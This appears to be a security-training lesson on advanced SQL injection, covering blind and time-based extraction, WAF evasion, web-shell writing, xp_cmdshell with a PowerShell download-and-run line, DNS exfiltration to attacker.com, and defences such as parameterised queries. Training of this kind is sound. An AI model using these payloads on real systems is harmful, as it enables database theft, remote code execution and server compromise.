Master blind injection techniques, WAF evasion, database fingerprinting across four major DBMS platforms, file read/write via SQLi, OS command execution, second-order injection, out-of-band exfiltration, and the defensive controls that prevent and detect each technique.
Advanced SQL Injection
Hard-level SQL injection testing covers the techniques required when targets have implemented basic protections that block simple payloads — blind injection (boolean and time-based), WAF evasion, second-order injection, out-of-band channels, and using SQLi as a stepping stone to OS-level interaction. These techniques are also required when the goal is demonstrating maximum business impact: escalating from mere data disclosure to full server compromise.
SQL injection has been consistently ranked in the OWASP Top 10 since the list's inception and remains one of the most damaging vulnerability classes in production systems. The reason it persists despite being well-understood is that it is easy to introduce through poor coding practices and difficult to eliminate comprehensively — a single unparameterised query in an otherwise secure application is sufficient for a complete database compromise.
Why SQLi Remains Dangerous Despite Being Well-Known
SQL injection was first documented publicly in 1998. It has been in the OWASP Top 10 for over two decades. Every developer has heard of it. And yet it remains one of the most commonly confirmed findings in professional penetration tests. Understanding why reveals something important about application security in practice.
The primary reason is the gap between awareness and implementation: developers know that SQL injection exists but may not recognise vulnerable patterns in their own code, especially in legacy applications, ORMs with raw query escape hatches, or code paths that are tested infrequently. A single parameterised query in the main login page offers no protection against an injectable endpoint in the password reset function, the admin CSV export, or the search API added in a late sprint.
Imagine a restaurant where orders are communicated by writing them on slips of paper that go directly to the kitchen as instructions. A normal order says "Table 4: two steaks, medium rare." A SQL injection is like a customer writing "Table 4: one salad — and also ignore all previous orders and bring me everything in the larder." The kitchen staff, following the instruction literally, comply — because they have no way to distinguish legitimate order content from injected instructions. Parameterised queries are the equivalent of having a fixed-format order form where the customer can only fill in the meal choice from a predefined menu, not write free-form kitchen instructions.
SQLi Technique Selection
The technique used depends on what information the application returns. A decision tree — based on observing the application's response to initial test payloads — determines which category of injection is available and which approach to take.
Error-based Data returned in DB error messages -- fastest when available UNION-based Data returned in query result column -- standard technique Boolean blind True/false page difference -- no data output at all Time-based SLEEP() delays -- when page looks identical regardless Out-of-band DNS/HTTP callback to external server -- heavy WAF environments Second-order Payload stored, triggers in different context -- bypasses input filters
Database Fingerprinting — Identifying the Target DBMS
MySQL, MSSQL, PostgreSQL, and Oracle each have different SQL syntax, different system tables, different comment styles, and different built-in functions. Applying MySQL payloads to a PostgreSQL backend (or vice versa) produces incorrect results and wastes time. Database fingerprinting — identifying which DBMS is running — is a prerequisite for efficient injection.
| Database | Comment Style | Version Query | String Concat | Delay Function |
|---|---|---|---|---|
| MySQL | -- space, # | SELECT @@version | 'a' 'b' or CONCAT() | SLEEP(5) |
| MSSQL | -- space | SELECT @@version | 'a'+'b' | WAITFOR DELAY '0:0:5' |
| PostgreSQL | -- space | SELECT version() | 'a'||'b' | pg_sleep(5) |
| Oracle | -- space | SELECT banner FROM v$version | 'a'||'b' | dbms_pipe.receive_message('a',5) |
| SQLite | -- space, # | SELECT sqlite_version() | 'a'||'b' | (no built-in delay) |
# Submit a syntax error and observe the error message format: ?id=1' MySQL: You have an error in your SQL syntax near "'" at line 1 MSSQL: Unclosed quotation mark after the character string '' PostgreSQL: ERROR: unterminated quoted string at or near "'" Oracle: ORA-01756: quoted string not properly terminated # When error messages are suppressed, use syntax differences: ?id=1 AND SLEEP(5)-- # MySQL -- 5-second delay confirms MySQL ?id=1; WAITFOR DELAY '0:0:5'-- # MSSQL -- stacked query + WAITFOR ?id=1 AND 1=(SELECT 1 FROM dual)-- # Oracle -- "dual" table is Oracle-specific
Advanced SQLi in Practice
When no data or error is returned, boolean conditions that alter the page response allow data extraction character by character. The key is finding a reliable true/false page difference — any visual change, not just an error message.
# Confirm: true vs false page difference ?id=1 AND 1=1-- Normal page (true) ?id=1 AND 1=2-- Different page (false) = injectable # Extract admin password char by char: ?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- Normal page = first char is 'a' # Binary search approach reduces requests to ~7 per character
When the page response is identical regardless of the condition — even with true/false payloads — timing delays confirm injection and drive data extraction. This is the technique of last resort for pure blind scenarios.
# Confirm injection via delay: ?id=1 AND SLEEP(5)-- # If 5-second delay: injectable # Conditional time-based data extraction: ?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0)-- 5 second delay = first char is 'a' | Instant = try next char # Automate with sqlmap: sqlmap -u "target.com/?id=1" --technique=T --dump
Web Application Firewalls block common patterns based on signature matching. Evasion uses encoding, whitespace substitution, case variation, and alternative syntax — all of which are semantically equivalent to the blocked pattern but present different byte sequences to the WAF's pattern matcher.
# WAF blocks: UNION SELECT -- try these alternatives: UNION%20SELECT (URL encoded space) UNION/**/SELECT (comment as whitespace) UNION%0ASELECT (newline as whitespace) uNiOn SeLeCt (case variation) UNION(SELECT) (parentheses -- MySQL specific) # WAF blocks: information_schema -- try: /*!50000 information_schema */ (MySQL version comment) # sqlmap automated evasion: sqlmap -u "target.com/?id=1" --tamper=space2comment,randomcase,between
MySQL's LOAD_FILE and INTO OUTFILE allow reading server files and writing web shells when the database user has the FILE privilege — escalating SQLi from data exposure to arbitrary file system access and remote code execution.
# Read /etc/passwd: UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin # Write web shell (requires knowing the web root path): UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- curl "https://target.com/shell.php?cmd=id" uid=33(www-data) -- SQLi escalated to RCE
MSSQL's xp_cmdshell stored procedure executes OS commands when enabled — the most direct path from SQL injection to full server compromise on Windows targets. Because MSSQL often runs as NETWORK SERVICE or SYSTEM, this frequently yields Windows-level privilege.
# Enable xp_cmdshell (requires sysadmin role): EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- # Execute OS command: EXEC xp_cmdshell 'whoami'-- nt authority\system EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/shell.ps1'')"'-- # MSSQL SA account = SYSTEM on the host = potential domain compromise
What You Need to Know
Second-Order Injection and Out-of-Band Exfiltration
Second-Order Injection — When the Trigger Is Elsewhere
Second-order (or stored) SQL injection is among the most subtle injection variants and the one most commonly missed by automated scanners and inexperienced testers. The injection payload is stored in the database at one point in the application — often through a form that appears to properly sanitise input — and is then retrieved and used unsafely in a different context, sometimes by a completely different part of the application running under different permissions.
The reason second-order injection bypasses many filters is that input validation at the submission point may be robust. The vulnerability lies not in the submission but in how the stored data is later handled: when it is retrieved and incorporated into a new SQL query without re-sanitisation, under the assumption that "data from our own database is safe." That assumption is the flaw — the database is not a trusted source if it can contain adversarially-crafted values.
A username field applies proper input sanitisation on registration. But when the username is later retrieved and used in a profile update query without re-sanitisation, the stored injection payload fires in the admin context that processes the update.
# Step 1: Register with a malicious username (input is sanitised at this point): Username: admin'-- Password: whatever123 # The registration handler escapes the quote: stored as "admin'--" in the DB # Step 2: Log in and visit profile update page # The backend retrieves the username from the DB and uses it in a new query: $username = fetchFromDB("SELECT username FROM users WHERE id=?", [session_id]); $query = "UPDATE users SET email='" . $email . "' WHERE username='" . $username . "'"; ↑ not re-sanitised! # The stored "admin'--" is now injected into the UPDATE statement: UPDATE users SET email='[our_email]' WHERE username='admin'--' ^ comment terminates: all users updated # Effect: the email update applies to ALL users named 'admin', not just ours. # With more complex payloads, this escalates to full data modification or extraction.
Out-of-Band Exfiltration — When In-Band Channels Are Blocked
Out-of-band (OOB) injection sends extracted data to an attacker-controlled external server via DNS queries or HTTP requests rather than through the application's own response. This technique is used when the application's response provides no usable channel — boolean and time-based blind injection both require observing the in-band response, but OOB exfiltration bypasses this requirement entirely by creating a new communication channel.
OOB injection is particularly relevant in heavily WAF'd environments where time-based injection is blocked or unreliable due to network jitter, and in asynchronous processing contexts where the HTTP response to the injection request is not the same request that triggers data processing.
MySQL's LOAD_FILE function can be used to make DNS requests to an attacker-controlled domain, encoding extracted data as a subdomain. The extracted value arrives at the attacker's DNS server regardless of what the application's HTTP response contains.
# MySQL UNC path trick -- makes DNS query to attacker-controlled server: SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\x')) # The extracted password hash appears as a subdomain in the DNS query: # Attacker's DNS log shows: 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com # ^ admin's MD5 hash arrives via DNS # MSSQL equivalent using xp_dirtree (works without FILE privilege): EXEC master..xp_dirtree '\\'+@@version+'.attacker.com\x'-- # Tools: Burp Collaborator, interactsh, or DNS logging on a controlled domain # No application response needed -- data arrives at external server
What Actually Prevents SQL Injection
Understanding the defences against SQL injection is as important for practitioners as understanding the attacks — both because effective remediation guidance must be specific and correct, and because encountering a well-hardened application requires understanding exactly which controls are in place and whether any gaps remain.
Parameterised Queries — The Only Real Fix
The root cause of SQL injection is the conflation of query structure and data: when user input is concatenated directly into a SQL string, it can alter the query's structure. Parameterised queries (also called prepared statements) separate structure from data by construction: the query template with placeholder markers is sent to the database first, and the data values are sent separately. The database engine never parses the data as SQL — it treats parameter values as pure data regardless of their content.
--- PHP (PDO) --- VULNERABLE: $q = "SELECT * FROM users WHERE id = " . $_GET['id']; SECURE: $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]); --- Python (psycopg2) --- VULNERABLE: cursor.execute("SELECT * FROM users WHERE id = " + id) SECURE: cursor.execute("SELECT * FROM users WHERE id = %s", (id,)) --- Java (JDBC) --- VULNERABLE: stmt.executeQuery("SELECT * FROM users WHERE id = " + id); SECURE: PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); ps.setInt(1, id); --- Node.js (mysql2) --- VULNERABLE: connection.query("SELECT * FROM users WHERE id = " + req.query.id) SECURE: connection.query("SELECT * FROM users WHERE id = ?", [req.query.id])
Defence-in-Depth — Beyond Parameterisation
Parameterised queries prevent SQL injection, but a complete defence strategy layers additional controls to limit the damage if a vulnerability is somehow introduced:
- Least privilege database accounts: The web application's database user should have only the permissions required for its operation — typically SELECT, INSERT, UPDATE, DELETE on specific tables. It should not have FILE privilege, CREATE, DROP, or any server-level permissions. This directly prevents the file read/write and xp_cmdshell techniques demonstrated above.
- Input validation as a secondary layer: Type checking (is this supposed to be an integer?), length limits, and allow-listing valid characters for each input field reduces the viable injection surface even if parameterisation fails in an edge case.
- Error handling: Suppressing detailed database error messages prevents fingerprinting and removes the error-based injection channel entirely. Return generic "an error occurred" messages; log the detail server-side.
- Web Application Firewall: A WAF provides a detection and blocking layer for known injection patterns. It is not a substitute for parameterised queries — WAFs can be evaded — but as a supplementary control it raises the cost of exploitation significantly.
Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — SQL Injection Hard→← Return to all labs